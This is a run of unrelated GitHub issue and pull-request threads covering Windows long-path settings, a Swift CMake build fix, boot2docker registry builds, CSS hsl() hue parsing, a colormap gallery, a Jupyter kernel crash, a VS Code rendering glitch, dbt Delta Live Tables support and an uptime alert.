https://learn.microsoft.com/en-us/windows/win32/fileio/maximum-file-path-limitation?tabs=registry#enable-long-paths-in-windows-10-version-1607-and-later
This should work for support from PowerShell, Intune, etc.
If you are running from PowerShell ISE, lines 118 - 119 should prompt you to run a command that will temporarily enable long path support.

Hi,
Yes, setting "LongPathsEnabled"=dword:00000001 seems to resolve my issue.  Thank you.
IMO, if that is a requirement of the script, it would be optimal to detect and set that in the pre-requisites (not just when executed from ISE).
cheers,

Yes, setting "LongPathsEnabled"=dword:00000001 seems to resolve my issue. Thank you.

Glad to hear it!
Because that's a system-wide setting, it might not be in scope of the script to modify. However, it might make sense to write out a warning message in the same way that the ISE detection does.

Well, we detect it for ISE and give a notice on what to do (temporarily mind you). We can't change the setting mid-script anyway, the console would need a reboot regardless before running the script. So changing it within the script is kind of mood, because it requires manual interaction afterwards and people might be more confused about that.
Please let us know, if you ran the script in ISE and didn't get the message. Also, please provide the exact Windows built you're using (winver would do. ) so we can maybe repo this.


fix(telegram): Telegam => Telegram

Moved to https://github.com/ooni/pipeline/pull/385 , closing this one.


[CMake] Fix creation of swiftmodule directories on Apple platforms

The way it was set up before worked for Ninja but not for Xcode, due to me not listing the swiftmodule directories as actual outputs of the create-directories target. The resulting fix here is actually simpler and involves fewer processes anyway, so good for us.
SR-10029

@swift-ci Please clean test

@Catfish-Man Heads-up that this will probably break our internal branch when I merge it this afternoon; I'll fix it right after merging.

Ok

Build failed
Swift Test Linux Platform
Git Sha -<PHONE_NUMBER>d080030e9e4993443fc0a6280b5d24

Build failed
Swift Test OS X Platform
Git Sha -<PHONE_NUMBER>d080030e9e4993443fc0a6280b5d24

*siiiigh*

@swift-ci Please clean test

Build failed
Swift Test Linux Platform
Git Sha -<PHONE_NUMBER>d080030e9e4993443fc0a6280b5d24

Build failed
Swift Test OS X Platform
Git Sha -<PHONE_NUMBER>d080030e9e4993443fc0a6280b5d24


make the automated boot2docker/boot2docker in the registry builds a bit more useful

Hi,
The point of those builds, as stated in the docs, is to add custom stuff to the stock ISO without having to go through the process of rebuilding everything, ergo it would be very, very, handy, IMHO to have tagged/named builds in the registry matching the boot2docker releases/ISOs, as, a priori, those are the ones one wants to match with custom addons. (one could start doing one now for v1.5.0 :smiley: )

Generally I agree, but this would mean we'd have to setup a new automated build for every tag we create (due to the way automated builds work).  If there were a way to tell the automated build system something like (for example) "make a Docker image tag of every Git tag that matches v[0-9.]+", I'd be 100% in support of including that.

thnxs for your reply. i wonder if it wouldn't be possible to tag all future registry builds with the matching git(hub) commitId ? that would be enough for  this case afaict.

Un happily, automated build repositories are currently immutable - you can't tag or push to them (this is part of what is intended to make them safely related only to what is in GitHub

humm... couldn't you create a side repo (simpler i suppose than some web service), say - boot2docker-builds- to where the automated builds machinery would 'post' for each iteration, and on (docker) build success, something along ${githubCommitId} ${dockerHubBuildId} ? just wondering.

@AntonioMeireles that functionality could be created, but not as a github repo.. I believe it would require running some sort of web-connected application server.

@zfogg :smile: i don't care about cat's color if they still catch mice. IMHO this kind of functionality would be very, very handy as it would allow turnkey docker/git plugable/tiered architectures.

@AntonioMeireles agreed! I was just pointing out that it's probably outside the scope of what the b2d team wants to build

ah, sure... so, in broader terms where would be the the proper 'channel' to lobby for this to get on the radar and implemented :smiley: ?

hmm, good question! perhaps a docker IRC channel, or a docker mailing list? I'm sure many members of the docker community would be interested.
In my opinion and experience, the best way to get something built is to show initiative. Why not just start building it? Posting a working prototype in the IRC channel or the mailing list is much more likely to get interest and involvement; you'll have trouble starting the conversation with nothing other than the idea.


Support floating point hue in hsl() and hsla()

Browsers support a color like hsl(120.152, 100%, 75%) but this library would incorrectly parse the hue and fallback to black.
Changes parsing the hue as an integer to parsing as a number.
CSS Color Module Level 3 4.2.4 suggests that the hue should be a number (and not strictly an integer):

Hue is represented as an angle of the color circle (i.e. the rainbow represented in a circle). This angle is so typically measured in degrees that the unit is implicit in CSS; syntactically, only a <number> is given.

CSS Color Module Level 4 is more explicit that hue can be a number.
This PR also comments out the parse_integer and parse_list_integer functions (and relevant tests) from src/stream.rs because leaving them in the code produced these warnings during build:
warning: methods `parse_integer` and `parse_list_integer` are never used
   --> src/stream.rs:417:12
    |
109 | impl<'a> Stream<'a> {
    | ------------------- methods in this implementation
...
417 |     pub fn parse_integer(&mut self) -> Result<i32, Error> {
    |            ^^^^^^^^^^^^^
...
447 |     pub fn parse_list_integer(&mut self) -> Result<i32, Error> {
    |            ^^^^^^^^^^^^^^^^^^
    |
    = note: `#[warn(dead_code)]` on by default

Happy to uncomment or remove them completely if that's preferred.
Related to https://github.com/vercel/satori/issues/602

Thanks, this seems reasonable!
I'd strongly suggest that we shouldn't land this with the dead code just commented out. I'd lean towards just removing it entirely.


Improved speed of implementation

I had some problems using this tool, the execution time was too long.
I chose to set the fingerprints only from the beginning of the words.
Are you interested in this implementation?

yes! We are, thank you!


Comparisons

Resolves issue #92
Updated from earlier version to branch from local master instead of other local branches

@clyne I've been looking into the changes you suggested with the text descriptions and potentially removing the lat/lon ticks for more room for the text. From what I've been seeing, the ticks will need to be present in order to do a below the projection text description, but I think this may end up looking/working better for what we want to accomplish. Here is an example of what I currently have for the text descriptions on the projections:

I also found the Kindlmann (and kindlmann extended) color scheme should be a part of the mpl color scheme gallery (if not, it is incredibly close to the color scheme of viridis, so that may be a viable back up should there be problems using it). Based on one article I was reading about types of color blindness, a blue/green scheme could be a poor choice for color blind individuals because the contrasts are too similar, but, I think it would be valuable to include this information because it may also prove valuable with the discussion of projections being black and white print friendly.
In regards to revisions on the color schemes, it may be best to do two "bad" choices and why and then followed by two "good" choices and why. With having 3 separate types of data set in this part of the gallery, each could be almost assigned to a type of color scheme. For example, the temperature projection would be a great way to showcase gradient type color schemes because of how the projection is laid out. The rain projections look better using the viridis and diverging schemes. The PBL Height looks best with mono-color schemes.
I'm going to definitely continue tinkering around with layouts and implementing the different schemes and uploading the projections for critique, but wanted to see if the direction I'm heading in seems logical to everyone else!

That all sounds good, Michaela. There is no deadline on this, so take whatever time you need to fully explore the issue and consider the options so that you can come up with something that you are satisfied with. Re the text description: I was thinking of changing the subplot titles from the current "Rainbow color projection of ...", etc. to simply the name of the name of the colormap. Or maybe the name of the colormap and a brief (fits on one line) description. And then having a single overall plot title at the top that lists the variable being displayed. E.g. "Temperature"

How do we feel about this version?

I am having some difficulty with formatting the descriptions and figuring out what to put in each one, so if there are any changes to the wording/what to put there, definitely let me know!

I think the descriptions of the pros and cons of the color schemes are great. If you can, I recommend adding some space between each description so it's not a wall of text. If you separate the figure captions just a bit, it will become easier to read and to distinguish one caption from another. You've done a fantastic job!

I've been playing around with the Sphinx out put of the files and currently I have this:

I would ideally like to have the four figure descriptions at the bottom of the page but can't figure out a way to do so. I tried replicating the three quote mark format from the top of the page, but at the bottom of the page, this is just read in as a normal comment from a python notebook and not formatted as it is at the top of the webpage. Is there a way to work around this/make the bottom format the same as the top?

I tried running make html locally and it does run; however, gallery pages for these plots are not created. @michaelavs does make html work as expected for you?

I tried running make html locally and it does run; however, gallery pages for these plots are not created. @michaelavs does make html work as expected for you?

I haven't run make html recently (just getting touch ups and merges done first then going back for make html), but in the past I have been able to open the pages from command line and see them. When I get the last push merged with this PR, I will run make html and see what happens

I am going to be closing this PR because my local branch will not point to this PR. New PR can be found here


What is the current open source state of the art pretrained model?

Thanks for this project!
I was curious what the current state of the art is for open sourced versions of DALL-E (or DALL-E 2). The links on the models repo haven't been updated in about a year. Curious if there's anything bigger and better out there that is plug-and-play (i.e. no additional training required).

I have same question.


Splash-jupyter crashed by latest ipykernel

After deep research, I found the reason by the latest version ipykernel.(update 02/26/2016)
Seems the file kernelbase.py has changed. so the error occurred.
the log:

[I 01:53:05.136 NotebookApp] Kernel started: 52daf4a0-7d8a-4c56-8a08-8eb26c2849ce
Xlib:  extension "RANDR" missing on display ":1".
[IPKernelApp] ERROR | UNKNOWN MESSAGE TYPE: 'comm_open'
[IPKernelApp] ERROR | Exception in message handler:
Traceback (most recent call last):
File "/home/xiaoming/.pyenv/versions/py3-splash/lib/python3.4/site-packages/ipykernel/kernelbase.py", line 228, in dispatch_shell
handler(stream, idents, msg)
File "/home/xiaoming/.pyenv/versions/py3-splash/lib/python3.4/site-packages/splash/kernel/kernelbase.py", line 76, in execute_request
md = self._make_metadata(parent['metadata'])
AttributeError: 'SplashKernel' object has no attribute '_make_metadata'
BTW, The problem happened while I'm installing the splash-jupyter,
Last second the ipykernel was 4.x.x, the next second the ipykernel has update to 4.3.1.
Aha.

Thanks @genius001, it looks like our hacky kernel implementation was broken by https://github.com/ipython/ipykernel/pull/71.


graphical glitch on vs code

Does this issue occur when all extensions are disabled?: Yes/No
Yes

VS Code Version: 1.19.1
OS Version: win 11

Steps to Reproduce:

I just installed Vs code on my laptop and my screen gets a graphical glitch all on the screen and it makes coding a bit annoying tbh i willi share a attachment with this to look up to.

Thanks for creating this issue! It looks like you may be using an old version of VS Code, the latest stable release is 1.91.1. Please try upgrading to the latest version and checking whether this issue remains.
Happy Coding!

i am using latest version of vs code

Merging to https://github.com/microsoft/vscode/issues/124226
Please disable hw acceleration in the application as workaround,
* Command Palette search for "Configure Runtime Arguments"
* Set disable-hardware-acceleration: true
* Restart


Delta Live Tables

Describe the feature
Create and orchestrate Delta Live Tables using dbt-databricks
Describe alternatives you've considered
Delta Live Tables can be set up using the Databricks UI, but this misses all the excellent features of dbt.
Additional context
I do not know whether this idea is feasible, since Delta Live Tables function only in tandem with Databricks pipelines, which goes beyond CREATE TABLE.
Who will this benefit?
Anyone who likes both dbt and Delta Live Tables, in particular teams with existing dbt-databricks projects who want to migrate to Delta Live Tables.
Are you interested in contributing this feature?
Potentially, but I am a complete newbie to this repo.

dbt + DLT sounds like very powerful combination. I don't know how feasible this is, but I ❤ the idea.

Is there an update on this enhancement? I am curious!

@JCZuurmond please tell me more ... what all would you like to be able to do?

@bilalaslamseattle the ideia is to use all the power of dbt framework, like tests, models, code structure, jinja, dbt utils, etc.. and combine with the power of DLT using streaming data easily.
As @dwolfeu said, its a good integration for teams that already work with dbt

@Angelo-Baruffi makes a lot of sense. Thank you!

Plus one to what Angelo mentionned so far!

Would also love to see this.

We added initial support in 1.6.0, but significant improvements are coming during the 1.7.x timeframe.


⚠ Bofrost.be has degraded performance

In 3644124, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 2473 ms

Resolved: Bofrost.be performance has improved in b991b1c.